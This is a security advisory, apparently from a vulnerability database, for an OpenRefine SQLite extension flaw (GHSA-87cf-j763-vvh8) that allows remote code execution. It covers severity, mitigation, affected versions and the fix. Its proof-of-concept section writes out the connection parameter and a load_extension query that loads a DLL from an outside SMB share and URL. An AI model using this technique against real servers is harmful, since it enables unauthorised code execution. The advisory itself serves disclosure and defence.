OpenRefine's SQLite integration allows filesystem access, remote code execution (RCE)GHSA-87cf-j763-vvh8
HIGHFix: OpenRefine/OpenRefine@853a1d9GHSA-87cf-j763-vvh8 is a high-severity (CVSS 8.1) SQL Injection vulnerability in org.openrefine:database. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for org.openrefine:database — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-87cf-j763-vvh8.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
org.openrefine:databaseReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Summary
In the database extension, the "enable_load_extension" property can be set for the SQLite integration, enabling an attacker to load (local or remote) extension DLLs and so run arbitrary code on the server.
The attacker needs to have network access to the OpenRefine instance.
Details
The database extension, with some restrictions, lets users connect to any database they wish by filling in different parts of the JDBC URL that is used. For the SQLite integration, the extension expects a file path pointing to a database file (or a place where such a file can be created). This means that users can:
- Read files on local or SMB filesystems, provided they are SQLite databases.
- Write to files on local or SMB filesystems, as long as those files are either SQLite databases or empty.
This seems to be the expected behavior.
However, by adding ?enable_load_extension=true to the filename, a feature is toggled that additionally allows loading and executing shared libraries mentioned in queries, leading to remote code execution. On Windows specifically, those libraries may also come from shared folders.
Possible mitigation and hardening steps could include:
- Having users upload the SQLite database file they want to look at, storing it under some safe name, then opening that, rather than accepting a file path
- If that is not feasible: making the path relative to, and checking that it does not escape, the workspace directory
- If that is also not feasible: adding additional checks so that the path at least does not point to other machines or add JDBC parameters
- Always using the READONLY open mode
- Explicitly setting enable_load_extension to off
- Enforcing stricter limits and similar precautions
PoC
Tested on a Windows 11 machine.
- Start OpenRefine and choose "Create project", "Database", database type "SQLite".
- Type a writable file path followed by
?enable_load_extension=true. - Click Connect. The connection should succeed.
- Use
SELECT load_extension('\\wandernauta.nl\public\libcalculator.dll');as the query. - Assuming there are no firewalls in the way, a few Windows calculators should open.
The same file is available from https://wandernauta.nl/libcalculator.dll if needed.
Impact
Remote code execution for attackers with network access to OpenRefine.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | org.openrefine:database | ≥ 3.4-beta&&< 3.8.3 | 3.8.3org.openrefine:database:3.8.3 |
Affected Products
openrefineopenrefineResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.openrefine:database, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update org.openrefine:database to 3.8.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-87cf-j763-vvh8 is resolved across your whole dependency graph.
Workarounds
Until you can upgrade, make sure every query built from user input uses parameterised statements or a prepared-statement API rather than string concatenation, and reduce the database account's privileges so an injected query cannot read or alter data beyond what the feature needs.
Frequently Asked Questions
Is GHSA-87cf-j763-vvh8 in your dependencies?
Find it across Maven, including transitive dependencies.